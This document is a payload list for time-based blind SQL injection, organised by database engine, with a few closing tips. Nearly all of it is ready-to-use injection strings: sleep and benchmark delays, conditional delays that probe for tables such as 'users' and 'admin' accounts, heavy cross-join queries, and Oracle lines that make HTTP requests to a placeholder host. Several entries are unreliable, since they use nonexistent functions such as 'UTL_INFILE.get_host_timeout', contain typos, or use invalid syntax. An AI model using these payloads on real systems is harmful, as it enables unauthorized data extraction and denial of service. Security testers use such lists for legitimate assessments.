# Time-Based Blind SQL Injection Payloads
# Time-based payloads for blind SQL injection testing

## MySQL

### SLEEP() Function
' AND SLEEP(5)--
1' AND SLEEP(5)--
; SELECT SLEEP(5)--
' OR SLEEP(5)--
" OR SLEEP(5)--
) OR SLEEP(5)--

### BENCHMARK() Function
' AND BENCHMARK(5000000, MD5(1))--
1' AND BENCHMARK(5000000, MD5(1))--
; SELECT BENCHMARK(5000000, MD5(1))--
' OR BENCHMARK(5000000, MD5(1))--

### Heavy Queries
' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)--
1' AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C)--
' AND (SELECT COUNT(*) FROM mysql.user A, mysql.user B, mysql.user C, mysql.user D)--

### RAND() Delay
' AND (SELECT RAND() FROM mysql.user) > 0--
' AND (SELECT SLEEP(5) FROM mysql.user LIMIT 1)--

## PostgreSQL

### pg_sleep() Function
'; SELECT pg_sleep(5)--
' AND pg_sleep(5)--
1' AND pg_sleep(5)--
) OR pg_sleep(5)--

### Conditional Sleep
' AND (SELECT pg_sleep(5) FROM information_schema.tables WHERE table_name='users')--
' AND (SELECT pg_sleep(5) FROM users WHERE username='admin')--
1' AND (SELECT pg_sleep(5) FROM users LIMIT 1)--

### Generate Series
' AND (SELECT pg_sleep(5) FROM generate_series(1,100000))--

### Extractor-based
' AND (SELECT pg_sleep(5) FROM (SELECT 1 FROM pg_sleep(5)))--
'; SELECT pg_sleep(5)--

## SQL Server

### WAITFOR DELAY
' AND WAITFOR DELAY '00:00:05'--
; WAITFOR DELAY '00:00:05'--
1' AND WAITFOR DElAY '00:00:05'--

### Conditional Delay
' AND (SELECT COUNT(*) FROM sys.tables) > 0 WAITFOR DELAY '00:00:05'--
1' AND (SELECT COUNT(*) FROM sysusers WHERE name='admin') > 0 WAITFOR DELAY '00:00:05'--

### Heavy Queries
' AND (SELECT COUNT(*) FROM syscolumns A, syscolumns B, syscolumns C)--

### Heavy Queries Loop
'; DECLARE @i INT=1; WHILE @i>0 BEGIN WAITFOR DELAY '00:00:05'; SET @i=@i-1; END--
'; WHILE @i<1000 BEGIN WAITFOR DELAY '00:00:05'; SET @i=@i+1; END--

## Oracle

### UTL_HTTP Request
' AND UTL_INFILE.get_host_timeout('www.google.com', 5) > 0--
'; SELECT UTL_INFILE.get_host_timeout('nonexistent', 5) FROM dual--
'; BEGIN DBMS_LOCK.SLEEP(5); END;

### Time-Based (Oracle 11g+)
'; DBMS_LOCK.SLEEP(5);--
' AND 1=(SELECT DBMS_LOCK.SLEEP(5) FROM dual)--;--

### Heavy Query Loop
'; BEGIN FOR i IN 1..100000 LOOP NULL; END LOOP; END;--

### HTTP Request (Alternative)
'; BEGIN UTL_HTTP.request('http://nonexistent.example', 5); END;--
'; BEGIN HTTP_REQUEST('http://nonexistent.example', 5); END;--

## SQLite

### Random Blob
' AND randomblob(100000000)--
'; SELECT randomblob(100000000)--

### Count-Based Delay
'; SELECT COUNT(*) FROM generate_series(1,1000000);--
' AND (SELECT COUNT(*) FROM sqlite_master) > 0--
1' AND (SELECT COUNT(*) FROM sqlite_master)--

## MySQL Alternative Techniques

### Conditional SLEEP
' AND IF(1=1, SLEEP(5), 0)--
' AND IF(database()='test', SLEEP(5), 0)--
' AND IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), 0)--

### Case-Based Delay
' AND CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN SLEEP(5) ELSE 0 END--
' AND CASE WHEN database() LIKE 'a%' THEN SLEEP(5) ELSE 0 END--

## PostgreSQL Alternative Techniques

### Generate Series with Sleep
'; SELECT pg_sleep(5) FROM generate_series(1,100);--

### Large Join with Sleep
' AND (SELECT COUNT(*) FROM generate_series(1,100000) a, generate_series(1,100000) b)--

## Tips

1. Adjust delay time based on network latency
2. Use shorter delays for faster testing
3. Combine with other techniques for confirmation
4. Be careful with DoS (Denial of Service)
5. Consider time-based as last resort
